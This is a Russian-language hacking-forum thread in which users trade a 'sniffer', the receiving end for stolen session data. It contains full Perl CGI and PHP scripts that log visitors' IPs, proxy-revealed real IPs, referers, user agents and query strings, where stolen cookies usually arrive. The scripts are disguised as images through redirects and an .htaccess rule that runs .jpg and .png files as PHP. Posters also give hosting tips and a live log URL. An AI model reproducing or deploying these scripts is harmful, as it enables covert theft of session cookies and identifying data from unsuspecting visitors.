Господа! Раз из - за глюка все сообщения пропали, то повторно прошу о помощи... Помогите пожалуйста правильно подписаться на сниффер, чтобы на мыло приходили логи! Слёзно вас молю!
Слушай, скажи как ты сниффер установил? Пробывал на фатале и не фига не вышла (на другом хосте тож пробывал). Или это не рабочий сниффер?: Code: #!/usr/bin/perl #путь к лог-файлу $LogFile="log.txt"; #максимальное число записей в лог-файле $mlength=50; #делаем редирект на картинку print "Location: image.gif\n\n"; #читаем CGI запрос read(STDIN, $input, $ENV{'CONTENT_LENGTH'}); $input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'}; $input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; #получаем время запроса и HTTP_REFERER $now_string = localtime; $ref = $ENV{'HTTP_REFERER'}; #читаем лог-файл в массив open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n"; @LOGtext=<LOG>; close (LOG); #открываем на запись лог open (LOG, ">$LogFile"); #сохраняем данные запроса print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n"; #сохраняем остальные логи, так что бы длина лог-файла не превышала mlength $counter=1; foreach $LOGitem (@LOGtext) { if ($counter<$mlength){ print LOG "$LOGitem"; }; $counter++; }; #закрываем лог close (LOG); exit;
как я уже сам убедился снифер на бесплатном хостинге практически бесполезен. Только рефери ты сможешь найти это раз.... Два это то чно снифер лучше делать на php... вроде мароки меньше. может я и неправ. могу дать рабочий снифер на php исходник свой....
Только как ты не бесплатном хостинге заставиш апач передавать управление php (или perl) для расширения jpg. А если НЕ маскировать под картинку то смысла нет... ИМХО фильтрация работает
У меня и платный хост есть и вот что мне там пишет: Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, webmaster@ and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
rsha1988 вот лови... то что у меня получилось... может пригодится... PHP: <?php $date=date("[D|d/m/Y|H:i]"); $ip=$_SERVER["REMOTE_ADDR"]; $query=$_SERVER["QUERY_STRING"]; $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $fp=fopen("log.html","a"); fputs($fp,"<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t$query\t$browser\t$otkuda\t$win\n<hr color=#666666>"); fclose($fp); print (" <img src='2.jpg'> "); ?> В каталог со снифером брось картинку 2.jpg Лог будет в файле log.html
to all,сниффер на php похожий на сниффер (-=util=-) ну типа 2 в одном: подпись и сниф http://a2systems.fatal.ru/logo/a2tktsnif.jpg смотреть Лог:http://a2systems.fatal.ru/logo/log.html Как видите хостинг на fatal.ru поддержка ".htaccess".содержание AddType application/x-httpd-php .png или AddType application/x-httpd-php .jpg вот и всё
2 KEZ я то думал ты мега прошарен в этих делах, а ты даже не знаешь, что пхп транслируется серваком при любом обращении =) если бы сервак передавал нетранслировнный пхп файл, то можно было бы ломать форумы на раз. config.php... =)))
a33, у тебя исходник как и у меня ведь? Только ".htaccess" Добавлял? Я неособо в этом рублю... Что смог то сделал))
a33, вопрос снят. Пасиба за инфу. аааа ... вот ещё вопрос... какой лучше chmod выставлять выполняещиму скрипту и логу ?